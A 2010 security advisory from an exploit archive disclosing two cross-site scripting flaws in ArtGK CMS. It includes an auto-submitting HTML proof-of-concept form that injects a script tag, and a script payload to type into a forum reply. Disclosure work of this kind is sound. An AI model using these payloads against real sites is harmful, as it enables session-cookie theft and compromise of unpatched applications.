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ArtGK Cross Site Scripting

ArtGK Cross Site Scripting
Posted Sep 1, 2010
Authored by High-Tech Bridge SA | Site htbridge.com

ArtGK CMS suffers from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 0231b6425a3271ac2e4f61e30a147eb0f5fc3506c599e37b14c2f2d4c373b4b0

ArtGK Cross Site Scripting

Change Mirror Download
=====================================
Vulnerability ID: HTB22588
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_artgk_cms_1.html
Product: ArtGK CMS
Vendor: ArtGK ( http://artgk-cms.ru/ )
Vulnerable Version: 2009-08-28 16:00:00 and Probably Prior Versions
Vendor Notification: 18 August 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cms/classes/CAction.php" script to properly sanitize user-supplied input in _a[0][vars][head] variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cms/action?async=exit" method="post" name="main" >
<input type="hidden" name="_a[0][action]" value="saveAndPublish" />
<input type="hidden" name="_a[0][id]" value="1" />
<input type="hidden" name="_a[0][vars][title]" value="page title" />
<input type="hidden" name="_a[0][vars][description]" value="description" />
<input type="hidden" name="_a[0][vars][keywords]" value="metakeys" />
<input type="hidden" name="_a[0][vars][link]" value="/" />
<input type="hidden" name="_a[0][vars][use_content_in_head]" value="path" />
<input type="hidden" name="_a[0][vars][head]" value='<script type="text/javascript" src="/cms/js/ajax.js"> </script><meta name="keywords" content="keywords"/><meta name="description" content="Description"/><script>alert(document.cookie)</script><title>Site Title</title>' />
</form>
<script>
document.main.submit();
</script>


=====================================
Vulnerability ID: HTB22587
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_artgk_cms.html
Product: ArtGK CMS
Vendor: ArtGK ( http://artgk-cms.ru/ )
Vulnerable Version: 2009-08-28 16:00:00 and Probably Prior Versions
Vendor Notification: 18 August 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/cms/classes/CForm.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. For this purposes go to the forum thread, enter exploit code like 'XSS"><script>alert(document.cookie)</script>' to the forum reply message textarea, fill captcha and click on the "Send" button.

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